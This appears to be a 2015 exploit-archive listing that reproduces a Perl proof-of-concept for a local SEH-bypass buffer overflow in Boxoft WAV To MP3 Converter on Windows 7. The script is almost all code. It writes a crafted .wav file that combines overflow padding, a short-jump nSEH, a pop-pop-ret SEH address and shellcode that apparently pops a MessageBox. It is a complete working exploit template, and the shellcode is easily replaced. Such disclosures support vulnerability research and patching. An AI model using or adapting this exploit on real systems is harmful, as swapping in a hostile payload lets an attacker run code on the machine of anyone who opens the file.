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Boxoft WAV To MP3 Converter Buffer Overflow

Boxoft WAV To MP3 Converter Buffer Overflow
Posted Aug 31, 2015
Authored by Robbie Corley

Boxoft WAV to MP3 Converter SEH bypass buffer overflow exploit.

tags | exploit, overflow
MD5 | 1664d882925c1ef6c3ca92bf32ce2b6c

Boxoft WAV To MP3 Converter Buffer Overflow

Change Mirror Download
#Exploit Title: Boxoft wav to mp3 converter SEH bypass technique tested on Win7x64   
# Date: 8-31-2015
# Software Link: http://www.boxoft.com/wav-to-mp3/
# Exploit Author: Robbie Corley
# Contact: c0d3rc0rl3y@gmail.com
# Website:
# Target: Windows 7 Enterprise x64
# CVE:
# Category: Local Exploit
#
# Description:
# A buffer overflow was found after constructing a .wav payload over 4000 characters and attempting to convert the payload to a .mp3 file

my $buff = "\x41" x 4132;
#my $nseh = "\x42" x 4;
#my $seh = "\x43" x 4;
my $endofbuff = "\x41" x 5860;


$nseh = "\xeb\x06\x90\x90"; # jump to shellcode
$seh = pack('V',0x0040144c); # pop pop retn

#MessageBox Shellc0de
#https://www.exploit-db.com/exploits/28996/

my $shellcode =
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42".
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03".
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b".
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e".
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c".
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74".
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe".
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";

#$nops = "\x90" x 20;

open(myfile,'>crash3r.wav');

print myfile $buff.$nseh.$seh.$shellcode.$endofbuff;
close (myfile);

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